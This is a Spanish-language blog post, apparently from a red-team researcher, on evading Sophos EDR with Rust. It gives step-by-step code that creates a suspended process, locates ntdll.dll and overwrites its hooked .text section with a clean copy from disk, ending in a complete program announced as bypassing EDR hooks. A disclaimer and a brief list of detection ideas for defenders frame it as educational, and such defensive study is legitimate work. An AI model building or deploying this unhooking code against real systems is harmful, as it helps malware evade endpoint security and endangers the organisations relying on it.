Evasión de Sophos mediante Rust - Parte 1

Evasión de Sophos mediante Rust - Parte 1

Técnicas de unhooking y refresh de ntdll en procesos suspendidos para evadir Sophos EDR utilizando Rust

5 min de lectura
← Back to blog

Introducción

En el mundo de la ciberseguridad, la capacidad de evadir sistemas de detección y respuesta en endpoints (EDR) es fundamental para los profesionales de Red Team y los investigadores de seguridad. En esta serie de posts, exploraremos técnicas avanzadas para evadir Sophos EDR utilizando el lenguaje de programación Rust.

Disclaimer: Este contenido tiene propósitos estrictamente educativos y de investigación. El uso indebido de estas técnicas puede ser ilegal y poco ético. Siempre obtenga autorización antes de realizar pruebas de penetración.

¿Por qué Rust para Evasión de EDR?

Rust ofrece varias ventajas significativas para el desarrollo de herramientas de evasión:

  • Seguridad de memoria: Previene errores comunes que podrían crashear nuestro payload
  • Performance: Comparable a C/C++ sin sacrificar seguridad
  • Control de bajo nivel: Acceso directo a Windows APIs
  • Ecosistema moderno: Excelentes herramientas y librerías

Entendiendo los Hooks de Sophos

Sophos EDR, como muchas soluciones modernas de seguridad, implementa hooks en APIs críticas del sistema para monitorear actividades potencialmente maliciosas. Estos hooks interceptan llamadas a funciones sensibles en ntdll.dll, permitiendo al EDR analizar y potencialmente bloquear comportamientos sospechosos.

Identificando APIs Monitoreadas

Durante mi investigación, utilicé una herramienta especializada disponible en GitHub para identificar qué APIs están siendo monitoreadas por Sophos:

hooks apis

// APIs comúnmente hookeadas por Sophos EDR
const HOOKED_APIS: &[&str] = &[
    "NtCreateProcess",
    "NtCreateProcessEx",
    "NtCreateUserProcess",
    "NtOpenProcess",
    "NtAllocateVirtualMemory",
    "NtWriteVirtualMemory",
    "NtProtectVirtualMemory",
    "NtCreateThread",
    "NtCreateThreadEx",
    "NtQueueApcThread",
    "NtSetContextThread"
];

Técnica de Unhooking: Refresh de NTDLL

La técnica principal que implementaremos consiste en “refrescar” la copia de ntdll.dll en memoria, reemplazando la versión hookeada con una copia limpia del disco.

Paso 1: Crear un Proceso Suspendido

Primero, creamos un proceso suspendido que nos servirá como vehículo para nuestras operaciones:

use winapi::um::processthreadsapi::{
    CreateProcessW, PROCESS_INFORMATION, STARTUPINFOW
};
use winapi::um::winbase::CREATE_SUSPENDED;
use std::mem;
use std::ptr;

fn create_suspended_process(target: &str) -> Result<PROCESS_INFORMATION, String> {
    unsafe {
        let mut si: STARTUPINFOW = mem::zeroed();
        let mut pi: PROCESS_INFORMATION = mem::zeroed();

        si.cb = mem::size_of::<STARTUPINFOW>() as u32;

        let mut target_wide: Vec<u16> = target.encode_utf16()
            .chain(std::iter::once(0))
            .collect();

        let success = CreateProcessW(
            ptr::null(),
            target_wide.as_mut_ptr(),
            ptr::null_mut(),
            ptr::null_mut(),
            0,
            CREATE_SUSPENDED,
            ptr::null_mut(),
            ptr::null(),
            &mut si,
            &mut pi
        );

        if success == 0 {
            return Err("Failed to create suspended process".to_string());
        }

        Ok(pi)
    }
}

Paso 2: Localizar NTDLL en Memoria

Una vez que tenemos nuestro proceso suspendido, necesitamos localizar la dirección base de ntdll.dll:

use winapi::um::psapi::{EnumProcessModules, GetModuleBaseNameW};
use winapi::um::winnt::HANDLE;

fn find_ntdll_base(process_handle: HANDLE) -> Result<usize, String> {
    unsafe {
        let mut modules: [HMODULE; 1024] = mem::zeroed();
        let mut cb_needed: u32 = 0;

        if EnumProcessModules(
            process_handle,
            modules.as_mut_ptr(),
            mem::size_of_val(&modules) as u32,
            &mut cb_needed
        ) == 0 {
            return Err("Failed to enumerate modules".to_string());
        }

        let module_count = cb_needed / mem::size_of::<HMODULE>() as u32;

        for i in 0..module_count as usize {
            let mut module_name: [u16; 260] = [0; 260];

            GetModuleBaseNameW(
                process_handle,
                modules[i],
                module_name.as_mut_ptr(),
                260
            );

            let name = String::from_utf16_lossy(&module_name);
            if name.to_lowercase().contains("ntdll.dll") {
                return Ok(modules[i] as usize);
            }
        }

        Err("NTDLL not found".to_string())
    }
}

Paso 3: Implementar el Unhooking

El corazón de nuestra técnica - reemplazar la NTDLL hookeada con una copia limpia:

use std::fs;
use winapi::um::memoryapi::{VirtualProtectEx, WriteProcessMemory};
use winapi::um::winnt::PAGE_EXECUTE_READWRITE;

fn unhook_ntdll(process_handle: HANDLE, ntdll_base: usize) -> Result<(), String> {
    unsafe {
        // Leer NTDLL limpia del disco
        let clean_ntdll = fs::read("C:\\Windows\\System32\\ntdll.dll")
            .map_err(|e| format!("Failed to read clean NTDLL: {}", e))?;

        // Parsear headers PE para obtener el tamaño del .text section
        let dos_header = &*(clean_ntdll.as_ptr() as *const IMAGE_DOS_HEADER);
        let nt_headers = &*((clean_ntdll.as_ptr() as usize +
                           dos_header.e_lfanew as usize) as *const IMAGE_NT_HEADERS);

        let text_section = find_text_section(&nt_headers)?;
        let text_rva = text_section.VirtualAddress as usize;
        let text_size = text_section.SizeOfRawData as usize;

        // Cambiar protección de memoria
        let mut old_protect: u32 = 0;
        VirtualProtectEx(
            process_handle,
            (ntdll_base + text_rva) as *mut _,
            text_size,
            PAGE_EXECUTE_READWRITE,
            &mut old_protect
        );

        // Escribir la sección .text limpia
        let mut bytes_written: usize = 0;
        let clean_text = &clean_ntdll[text_section.PointerToRawData as usize..
                                      (text_section.PointerToRawData +
                                       text_section.SizeOfRawData) as usize];

        WriteProcessMemory(
            process_handle,
            (ntdll_base + text_rva) as *mut _,
            clean_text.as_ptr() as *const _,
            text_size,
            &mut bytes_written
        );

        // Restaurar protección original
        VirtualProtectEx(
            process_handle,
            (ntdll_base + text_rva) as *mut _,
            text_size,
            old_protect,
            &mut old_protect
        );

        Ok(())
    }
}

Implementación Completa

Aquí está el código completo que combina todas las técnicas:

use winapi::um::processthreadsapi::ResumeThread;
use std::thread;
use std::time::Duration;

fn main() -> Result<(), Box<dyn std::error::Error>> {
    println!("[+] Sophos EDR Evasion - NTDLL Unhooking");
    println!("[+] Educational Purpose Only\n");

    // Crear proceso suspendido
    println!("[*] Creating suspended process...");
    let pi = create_suspended_process("C:\\Windows\\System32\\notepad.exe")?;

    println!("[+] Process created with PID: {}",
             unsafe { GetProcessId(pi.hProcess) });

    // Esperar un momento para que el proceso se inicialice
    thread::sleep(Duration::from_millis(500));

    // Encontrar NTDLL
    println!("[*] Locating NTDLL in target process...");
    let ntdll_base = find_ntdll_base(pi.hProcess)?;
    println!("[+] NTDLL found at: 0x{:X}", ntdll_base);

    // Realizar unhooking
    println!("[*] Performing NTDLL unhooking...");
    unhook_ntdll(pi.hProcess, ntdll_base)?;
    println!("[+] NTDLL successfully unhooked!");

    // Resumir el proceso
    println!("[*] Resuming process execution...");
    unsafe {
        ResumeThread(pi.hThread);
    }

    println!("[+] Process resumed. EDR hooks bypassed!");

    // Limpiar handles
    unsafe {
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }

    Ok(())
}

Detección y Mitigación

Para los Blue Teamers, aquí hay algunas formas de detectar esta técnica:

  1. Monitoreo de CreateProcess con CREATE_SUSPENDED: Procesos creados en estado suspendido son sospechosos
  2. Detección de modificaciones en NTDLL: Comparar hashes de secciones críticas
  3. Análisis de comportamiento: Patrones de escritura en memoria de procesos
  4. ETW (Event Tracing for Windows): Monitorear eventos de manipulación de memoria

Conclusión

La técnica de unhooking mediante refresh de NTDLL es efectiva contra muchos EDRs, incluido Sophos. Sin embargo, es importante recordar que:

  • Las técnicas de evasión evolucionan constantemente
  • Los vendors de seguridad actualizan sus productos regularmente
  • El uso ético y legal de estas técnicas es fundamental

En la Parte 2, exploraremos técnicas más avanzadas como:

  • Direct syscalls
  • Hell’s Gate y Halo’s Gate
  • Manual mapping de DLLs
  • Bypass de ETW y AMSI

Referencias


Este post es parte de una serie sobre técnicas avanzadas de evasión de EDR. Recuerda siempre actuar dentro del marco legal y ético.

#EDREvasion #Rust #RedTeam #Sophos #Cybersecurity

Contents

0/0 sections read

No headings found
Press ESC to closeNavigation

Latest Posts

See all posts

Let's work together